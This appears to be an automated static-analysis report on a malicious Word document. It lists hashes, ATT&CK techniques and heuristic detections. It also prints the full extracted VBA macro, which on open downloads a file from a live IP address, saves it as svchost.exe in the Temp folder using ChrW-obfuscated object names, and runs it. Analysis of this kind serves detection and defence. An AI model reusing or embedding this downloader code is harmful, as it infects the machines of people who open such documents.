Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a3e1b372e9b94578…

MALICIOUS

Office (OOXML)

31.8 KB Created: 2018-03-23 22:09:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-05-31
MD5: dcc7dbc6454930f52451973e760077d4 SHA-1: b2dcedc57264ab7b73fef42bb0496c9fb265eea9 SHA-256: a3e1b372e9b945781acd0737ec3ccf8789e4464b085a0032a9cffa3afed34cd8
498 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File: User Execution T1105 Ingress Tool Transfer

The sample contains a VBA macro that executes upon opening the document, as indicated by the Document_Open subroutine. This macro uses WinHTTP to download a file from the URL "http://185.121.139.229/~document/45.png" and saves it as "svchost.exe" in the temporary directory. It then executes this downloaded file using the Shell() function. The obfuscated string construction for CreateObject and the file path further indicate malicious intent.

Heuristics 12

  • ClamAV: Doc.Downloader.Agent-6563816-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Agent-6563816-0
  • VBA project inside OOXML medium 8 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(Environ("Temp") + "\svchost.exe", 0)
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Call Shell(Environ("Temp") + "\svchost.exe", 0)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    xyuhjnx = WinHttpReq.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        oStream.SaveToFile Environ("Temp") + "\svchost.exe", Val("2FFF")
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://185.121.139.229/~document/45.png Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1362 bytes
SHA-256: 6fd0c128b07cda29d50dacd94459dc362b97f2408ccf90e50172c09ee343dc26
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()

Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    
WinHttpReq.Open "GET", "http://185.121.139.229/~document/45.png", False, "username", "password"
WinHttpReq.send

Dim first5 As String
    Dim second5 As String
    Dim last5 As String
    first5 = ChrW(65) & ChrW(68) & ChrW(79) & ChrW(68) & ChrW(66) & ChrW(46) & ChrW(83) & ChrW(116) & ChrW(114) & ChrW(101)
    second5 = ChrW(97) & ChrW(109)
    last5 = first5 + second5

xyuhjnx = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
    Set oStream = CreateObject(last5)
    oStream.Open
    oStream.Type = Val("1FFF")
    oStream.Write WinHttpReq.responseBody
    
    Dim first6 As String
    Dim last6 As String
    first6 = ChrW(92) & ChrW(99) & ChrW(104) & ChrW(101) & ChrW(99) & ChrW(107) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101)
    last6 = first6
    
    oStream.SaveToFile Environ("Temp") + "\svchost.exe", Val("2FFF")
    oStream.Close
    
End If
 
Call Shell(Environ("Temp") + "\svchost.exe", 0)

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: 86162387fe17b352ec832f94249c9e6e77464c12eedc6b1a8f47d74767c04bb6
Detection
ClamAV: Doc.Downloader.Agent-6563816-0
Obfuscation or payload: unlikely